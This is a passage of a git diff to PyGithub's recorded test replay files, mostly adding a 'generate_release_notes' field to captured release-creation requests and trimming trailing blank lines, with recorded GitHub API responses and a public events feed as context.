s/rickrickston123/RepoTest/zipball/v1.25.2","body":"release message"} @@ -62,5 +62,3 @@ None None 204 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:14:59 GMT'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4760'), ('X-RateLimit-Reset', '1594749125'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', '88F4:6228:451708:B801AA:5F0DE812')] - - diff --git a/tests/ReplayData/GitRelease.testUploadAssetFileLike.txt b/tests/ReplayData/GitRelease.testUploadAssetFileLike.txt index 26280ac813..95d51ac538 100644 --- a/tests/ReplayData/GitRelease.testUploadAssetFileLike.txt +++ b/tests/ReplayData/GitRelease.testUploadAssetFileLike.txt @@ -26,7 +26,7 @@ api.github.com None /repos/rickrickston123/RepoTest/releases {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} -{"tag_name": "v1.25.2", "name": "release title", "body": "release message", "draft": false, "prerelease": false, "target_commitish": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f"} +{"tag_name": "v1.25.2", "name": "release title", "body": "release message", "draft": false, "prerelease": false, "generate_release_notes": false, "target_commitish": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:15:01 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1839'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4754'), ('X-RateLimit-Reset', '1594749126'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"a8961143f47acb4521819919a4413ffb"'), ('Location', 'https://api.github.com/repos/rickrickston123/RepoTest/releases/28553926'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '8928:6F6B:5D99BC:D631D5:5F0DE815')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553926","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553926/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28553926/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28553926,"node_id":"MDc6UmVsZWFzZTI4NTUzOTI2","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"release title","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T17:15:01Z","assets":[],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.25.2","body":"release message"} @@ -73,5 +73,3 @@ None None 204 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:15:03 GMT'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4749'), ('X-RateLimit-Reset', '1594749125'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', '8954:6B7F:1335507:1F1E019:5F0DE817')] - - diff --git a/tests/ReplayData/GitRelease.testUploadAssetFromMemory.txt b/tests/ReplayData/GitRelease.testUploadAssetFromMemory.txt index 887de8b4c0..240597b308 100644 --- a/tests/ReplayData/GitRelease.testUploadAssetFromMemory.txt +++ b/tests/ReplayData/GitRelease.testUploadAssetFromMemory.txt @@ -26,7 +26,7 @@ api.github.com None /repos/rickrickston123/RepoTest/releases {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} -{"tag_name": "v1.25.2", "name": "release title", "body": "release message", "draft": false, "prerelease": false, "target_commitish": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f"} +{"tag_name": "v1.25.2", "name": "release title", "body": "release message", "draft": false, "prerelease": false, "generate_release_notes": false, "target_commitish": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:15:06 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1839'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4743'), ('X-RateLimit-Reset', '1594749126'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"89d1865c6ce3065f5d8de11015fa1e64"'), ('Location', 'https://api.github.com/repos/rickrickston123/RepoTest/releases/28553932'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '8990:3C00:9EDCAC:1796F44:5F0DE81A')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553932","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553932/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28553932/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28553932,"node_id":"MDc6UmVsZWFzZTI4NTUzOTMy","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"release title","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T17:15:06Z","assets":[],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.25.2","body":"release message"} @@ -73,5 +73,3 @@ None None 204 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:15:08 GMT'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4738'), ('X-RateLimit-Reset', '1594749126'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', '89B4:6F68:13B562:38A3AF:5F0DE81C')] - - diff --git a/tests/ReplayData/GitRelease.testUploadAssetWithName.txt b/tests/ReplayData/GitRelease.testUploadAssetWithName.txt index a579d59a6e..45f0612c63 100644 --- a/tests/ReplayData/GitRelease.testUploadAssetWithName.txt +++ b/tests/ReplayData/GitRelease.testUploadAssetWithName.txt @@ -26,7 +26,7 @@ api.github.com None /repos/rickrickston123/RepoTest/releases {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} -{"tag_name": "v1.25.2", "name": "release title", "body": "release message", "draft": false, "prerelease": false, "target_commitish": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f"} +{"tag_name": "v1.25.2", "name": "release title", "body": "release message", "draft": false, "prerelease": false, "generate_release_notes": false, "target_commitish": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:15:11 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1839'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4732'), ('X-RateLimit-Reset', '1594749126'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"6f2d83bf7aa6f6914ff9fdf24acb3aeb"'), ('Location', 'https://api.github.com/repos/rickrickston123/RepoTest/releases/28553933'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '89EC:72AE:503A41:C99274:5F0DE81F')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553933","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553933/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28553933/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28553933,"node_id":"MDc6UmVsZWFzZTI4NTUzOTMz","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"release title","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T17:15:11Z","assets":[],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.25.2","body":"release message"} @@ -62,5 +62,3 @@ None None 204 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:15:12 GMT'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4728'), ('X-RateLimit-Reset', '1594749125'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', '8A0A:0D15:11BC455:1E1EE01:5F0DE820')] - - diff --git a/tests/ReplayData/GitTag.setUp.txt b/tests/ReplayData/GitTag.setUp.txt index add7f58574..0937e3832a 100644 --- a/tests/ReplayData/GitTag.setUp.txt +++ b/tests/ReplayData/GitTag.setUp.txt @@ -30,4 +30,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '487'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1dd282b50e691f8f162ef9355dad8771"'), ('date', 'Thu, 10 May 2012 19:03:19 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags/f5f37322407b02a80de4526ad88d5f188977bc3c","tag":"v0.6","message":"Version 0.6\n","object":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/4303c5b90e2216d927155e9609436ccb8984c495","type":"commit","sha":"4303c5b90e2216d927155e9609436ccb8984c495"},"tagger":{"email":"vincent@vincent-jacques.net","date":"2012-05-10T11:14:15-07:00","name":"Vincent Jacques"},"sha":"f5f37322407b02a80de4526ad88d5f188977bc3c"} - diff --git a/tests/ReplayData/GitTree.setUp.txt b/tests/ReplayData/GitTree.setUp.txt index 429055c9e5..07be75d075 100644 --- a/tests/ReplayData/GitTree.setUp.txt +++ b/tests/ReplayData/GitTree.setUp.txt @@ -30,4 +30,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4981'), ('content-length', '2588'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d37c2285c7bc31e9c29a9e36808b12bc"'), ('date', 'Thu, 10 May 2012 19:03:09 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/f492784d8ca837779650d1fb406a1a3587a764ad","sha":"f492784d8ca837779650d1fb406a1a3587a764ad","tree":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/8a9af1462c3f4e3358315c2d2e6ef1e7334c59dd","type":"blob","size":53,"sha":"8a9af1462c3f4e3358315c2d2e6ef1e7334c59dd","path":".gitignore","mode":"100644"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/7863d93a3ef3700fd05d2e0e6b9c1b5161c4572b","type":"blob","size":1832,"sha":"7863d93a3ef3700fd05d2e0e6b9c1b5161c4572b","path":"Design.md","mode":"100644"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/82be8f1b97c4cfb005ad9ce8b8215c2f71470630","type":"blob","size":28643,"sha":"82be8f1b97c4cfb005ad9ce8b8215c2f71470630","path":"IntegrationTest.py","mode":"100644"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/8da6802f0b9d4acd1945440053dfd6be3ee80c95","type":"blob","size":3153,"sha":"8da6802f0b9d4acd1945440053dfd6be3ee80c95","path":"ReadMe.md","mode":"100644"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/3ee24565835d6a352e0ce37b1f2413572f55e368","type":"blob","size":12687,"sha":"3ee24565835d6a352e0ce37b1f2413572f55e368","path":"ReferenceOfApis.md","mode":"100644"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/af9d09559eb6dae86af23b81e6ddcebfa4dc37e6","type":"blob","size":15967,"sha":"af9d09559eb6dae86af23b81e6ddcebfa4dc37e6","path":"ReferenceOfClasses.md","mode":"100644"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/60b4602b2c2070246c5df078fb7a5150b45815eb","type":"tree","sha":"60b4602b2c2070246c5df078fb7a5150b45815eb","path":"ReplayDataForIntegrationTest","mode":"040000"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/61cfa6bc84a562c134770b1e10445e7b810dbc26","type":"blob","size":320,"sha":"61cfa6bc84a562c134770b1e10445e7b810dbc26","path":"RoadMap.md","mode":"100644"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/929f19535e74d80fb117aa021742ce2556ddc9a2","type":"tree","sha":"929f19535e74d80fb117aa021742ce2556ddc9a2","path":"github","mode":"040000"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/9532bcaa5fcc0a9d3678b3e4fd05688e32d2a321","type":"blob","size":673,"sha":"9532bcaa5fcc0a9d3678b3e4fd05688e32d2a321","path":"run_tests.sh","mode":"100644"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/53bce9fa919b4544e67275089b3ec5b44be20667","type":"blob","size":1295,"sha":"53bce9fa919b4544e67275089b3ec5b44be20667","path":"setup.py","mode":"100644"}]} - diff --git a/tests/ReplayData/Github.testGetEvents.txt b/tests/ReplayData/Github.testGetEvents.txt index e0bab56f56..7672ee9dc2 100644 --- a/tests/ReplayData/Github.testGetEvents.txt +++ b/tests/ReplayData/Github.testGetEvents.txt @@ -8,4 +8,3 @@ None 200 [('Date', 'Sat, 25 Apr 2020 12:12:00 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '58'), ('X-RateLimit-Reset', '1587820042'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"3a593e38a3ba7d45b1eaaf7b919e070b"'), ('Last-Modified', 'Sat, 25 Apr 2020 12:07:00 GMT'), ('X-Poll-Interval', '60'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'BA46:2F091:487499F:555A490:5EA42910')] [{"id":"12155213000","type":"PushEvent","actor":{"id":2487206,"login":"fengjixuchui","display_login":"fengjixuchui","gravatar_id":"","url":"https://api.github.com/users/fengjixuchui","avatar_url":"https://avatars.githubusercontent.com/u/2487206?"},"repo":{"id":214771321,"name":"fengjixuchui/EmbeddedSystem","url":"https://api.github.com/repos/fengjixuchui/EmbeddedSystem"},"payload":{"push_id":4974220235,"size":9,"distinct_size":9,"ref":"refs/heads/master","head":"695a871ac905dd524ab033f1fc7c270e15bfc27d","before":"060a41bfcf123d68d52fb0c381b929c2ac8715d2","commits":[{"sha":"fc59678cb480018927600c30d25300beca28926d","author":{"email":"SummerGift@qq.com","name":"SummerGift"},"message":"[update] Prepare training\\test data set\n\nSigned-off-by: SummerGift ","distinct":true,"url":"https://api.github.com/repos/fengjixuchui/EmbeddedSystem/commits/fc59678cb480018927600c30d25300beca28926d"},{"sha":"48c1f4b8ff8e2d9d9caca01a51327d9197ab79f9","author":{"email":"SummerGift@qq.com","name":"SummerGift"},"message":"[update] data generate process\n\nSigned-off-by: SummerGift ","distinct":true,"url":"https://api.github.com/repos/fengjixuchui/EmbeddedSystem/commits/48c1f4b8ff8e2d9d9caca01a51327d9197ab79f9"},{"sha":"d67e5d2748babe1449719e36866bb6d59bda41e6","author":{"email":"SummerGift@qq.com","name":"SummerGift"},"message":"[optimize] train and test dataset generation process\n\nSigned-off-by: SummerGift ","distinct":true,"url":"https://api.github.com/repos/fengjixuchui/EmbeddedSystem/commits/d67e5d2748babe1449719e36866bb6d59bda41e6"},{"sha":"4f7a14f85115c4b79ec58c365a4fd41af49c1c6b","author":{"email":"SummerGift@qq.com","name":"SummerGift"},"message":"[add] logging module for train and test dataset generation\n\nSigned-off-by: SummerGift ","distinct":true,"url":"https://api.github.com/repos/fengjixuchui/EmbeddedSystem/commits/4f7a14f85115c4b79ec58c365a4fd41af49c1c6b"},{"sha":"1f785c3d4befeaffb8825afa362cfcd56413923e","author":{"email":"SummerGift@qq.com","name":"SummerGift"},"message":"[optimize] code clear up\n\nSigned-off-by: SummerGift ","distinct":true,"url":"https://api.github.com/repos/fengjixuchui/EmbeddedSystem/commits/1f785c3d4befeaffb8825afa362cfcd56413923e"},{"sha":"dbed1e93e8ef27f93dc20cc9ad87ea762f412906","author":{"email":"SummerGift@qq.com","name":"SummerGift"},"message":"[optimize] logging of the code\n\nSigned-off-by: SummerGift ","distinct":true,"url":"https://api.github.com/repos/fengjixuchui/EmbeddedSystem/commits/dbed1e93e8ef27f93dc20cc9ad87ea762f412906"},{"sha":"09d1edf4adf5efad1e543f92fbd49528d2f9f8a0","author":{"email":"SummerGift@qq.com","name":"SummerGift"},"message":"[add] some edit skill","distinct":true,"url":"https://api.github.com/repos/fengjixuchui/EmbeddedSystem/commits/09d1edf4adf5efad1e543f92fbd49528d2f9f8a0"},{"sha":"40ebd2a98958e58eb021ae3ae7834da9e2fd2b4b","author":{"email":"SummerGift@qq.com","name":"SummerGift"},"message":"[add] more edit skill","distinct":true,"url":"https://api.github.com/repos/fengjixuchui/EmbeddedSystem/commits/40ebd2a98958e58eb021ae3ae7834da9e2fd2b4b"},{"sha":"695a871ac905dd524ab033f1fc7c270e15bfc27d","author":{"email":"fengjixuchui123456@vip.qq.com","name":"fengjixuchui"},"message":"Merge pull request #21 from SummerLife/master\n\n[add] more edit skill","distinct":true,"url":"https://api.github.com/repos/fengjixuchui/EmbeddedSystem/commits/695a871ac905dd524ab033f1fc7c270e15bfc27d"}]},"public":true,"created_at":"2020-04-25T12:07:00Z"},{"id":"12155213002","type":"WatchEvent","actor":{"id":44877348,"login":"MichaelEvtushenko","display_login":"MichaelEvtushenko","gravatar_id":"","url":"https://api.github.com/users/MichaelEvtushenko","avatar_url":"https://avatars.githubusercontent.com/u/44877348?"},"repo":{"id":57463982,"name":"azat-io/you-dont-know-js-ru","url":"https://api.github.com/repos/azat-io/you-dont-know-js-ru"},"payload":{"action":"started"},"public":true,"created_at":"2020-04-25T12:07:00Z"},{"id":"12155212999","type":"PushEvent","actor":{"id":41898282,"login":"github-actions[bot]","display_login":"github-actions","gravatar_id":"","url":"https://api.github.com/users/github-actions[bot]","avatar_url":"https://avatars.githubusercontent.com/u/41898282?"},"repo":{"id":257684688,"name":"cwl-uml/TwPhotos","url":"https://api.github.com/repos/cwl-uml/TwPhotos"},"payload":{"push_id":4974220230,"size":1,"distinct_size":1,"ref":"refs/heads/master","head":"57fc73645b6fcc77b0a498da9ca8fa5e17b4f2d4","before":"ca8290bde80934cd17b5e03590fc646a765d283b","commits":[{"sha":"57fc73645b6fcc77b0a498da9ca8fa5e17b4f2d4","author":{"email":"TwphotosRobot@email.com","name":"TwphotosRobot"},"message":"update json","distinct":true,"url":"https://api.github.com/repos/cwl-uml/TwPhotos/commits/57fc73645b6fcc77b0a498da9ca8fa5e17b4f2d4"}]},"public":true,"created_at":"2020-04-25T12:07:00Z"},{"id":"12155212995","type":"CommitCommentEvent","actor":{"id":35613825,"login":"now[bot]","display_login":"now","gravatar_id":"","url":"https://api.github.com/users/now[bot]","avatar_url":"https://avatars.githubusercontent.com/u/35613825?"},"repo":{"id":251008210,"name":"ryo-ma/covid19-japan-web-api","url":"https://api.github.com/repos/ryo-ma/covid19-japan-web-api"},"payload":{"comment":{"url":"https://api.github.com/repos/ryo-ma/covid19-japan-web-api/comments/38737240","html_url":"https://github.com/ryo-ma/covid19-japan-web-api/commit/9b0f40a3fdc2b91d66d49141f0f5cc3eace40565#commitcomment-38737240","id":38737240,"node_id":"MDEzOkNvbW1pdENvbW1lbnQzODczNzI0MA==","user":{"login":"now[bot]","id":35613825,"node_id":"MDM6Qm90MzU2MTM4MjU=","avatar_url":"https://avatars2.githubusercontent.com/in/8329?v=4","gravatar_id":"","url":"https://api.github.com/users/now%5Bbot%5D","html_url":"https://github.com/apps/now","followers_url":"https://api.github.com/users/now%5Bbot%5D/followers","following_url":"https://api.github.com/users/now%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/now%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/now%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/now%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/now%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/now%5Bbot%5D/repos","events_url":"https://api.github.com/users/now%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/now%5Bbot%5D/received_events","type":"Bot","site_admin":false},"position":null,"line":null,"path":null,"commit_id":"9b0f40a3fdc2b91d66d49141f0f5cc3eace40565","created_at":"2020-04-25T12:07:00Z","updated_at":"2020-04-25T12:07:00Z","author_association":"NONE","body":"\nSuccessfully deployed to following URLs:\n\n* https://covid19-japan-web-api-f3fxtl4lq.now.sh\n* https://covid19-japan-web-api.now.sh\n* https://covid19-japan-web-api.ryo-ma.now.sh\n* 